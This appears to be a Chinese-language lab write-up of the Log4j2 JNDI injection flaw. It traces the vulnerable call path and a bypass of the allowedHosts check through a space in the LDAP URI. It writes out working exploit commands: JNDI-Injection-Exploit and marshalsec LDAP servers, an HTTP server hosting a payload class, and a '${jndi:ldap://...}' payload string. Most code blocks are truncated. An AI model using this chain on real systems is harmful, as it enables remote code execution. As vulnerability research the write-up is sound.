java的RMI协议
log4j2
这里我们先构造一个jndi server
https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar |
java -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 127.0.0.1 |
添加 log4j2的xml
<dependencies> |
解析之后会有两个jar包
|
我们先来一个最简单的payload
import org.apache.logging.log4j.LogManager; |
我们这里先找到终点 查看一下调用栈
这里可以看到 日志如果需要打印的话就执行 logMessage()
这里也可以简单的想到 日志肯定是需要按照配置的等级进行输出的 如果满足适当的条件才会输出
这里进入 isEnabled 查看下
这里也可以看到传入了日志的配置文件
如果满足条件就需要输出
这里通过一堆的调用逻辑 这里调到了 directEncodeEvent() 接下来就是 将getLayout的模板字符填充进去了
这里调到了 formatters.format 根据名字也可以判断处理就是对 模板字符的替换
这里的 buffer 即是最后的字符串 这里我们跳到 messagePatternConverter的 format方法
注意这里的noLookups
可见默认值是false 是可以使用lookup的
这里如果判断是以${开头就去调用config.getStrSubstitutor().replace 替换其中的内容
接着经过一系列的判断来到了这里
这里就是最后的终点了 根据之前配置的 strLookupMap 去获取对应的 lookup对象 那么这里也就是 jndi lookup
将 api 和 core 编译成jar包
依旧跟一下执行流程 这里可以看一下这里的 MessagePatternConverter
这里可以发现 调用的是内部类 SimpleMessagePatternConverter 的format方法
这里可以发现还有一个 LookupMessagePatternConverter 回去解析 其中的${
但是我们需要converter 对象为 LookupMessagePatternConverter 这个类
这里可以看到 public static MessagePatternConverter newInstance 静态方法 还有 lookups 必须要不为空 可以看到这里的lookups 是根据 options来判断的
判断数组里是否有 lookups
在 newInstance这里下断点
这里可以看到是通过 extractOptions 进行赋值的
这里根据代码的理解 可以发现是 获取 %d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n 中的{} 的值放到options中
当然这里也可以根据 官方文档去看
那么我们修改xml文件
修改完成之后也是成功赋值
接下来的调用流程和之前是差不多的 可以在JndiLookup lookup 处下断点
在 allowedHosts中定义了一些内网地址 这里是不好直接绕过的
这里的 catch中没有任何操作 没有 return 也就是如果catch到异常之后依然会接着执行下去
因此我们只需要在进行 内网地址验证之前抛出异常即可
换一个工具
https://github.com/mbechler/marshalsec
编译后放到一个目录
import java.io.IOException; |
开启http服务
python -m http.server 8000 |
启动服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/ #Exp" 8088 |
String a = "${jndi:ldap://127.0.0.1:8088/ Exp}"; |
这里的原因是在new URI的时候会出现异常
当url中存在 空格会抛出异常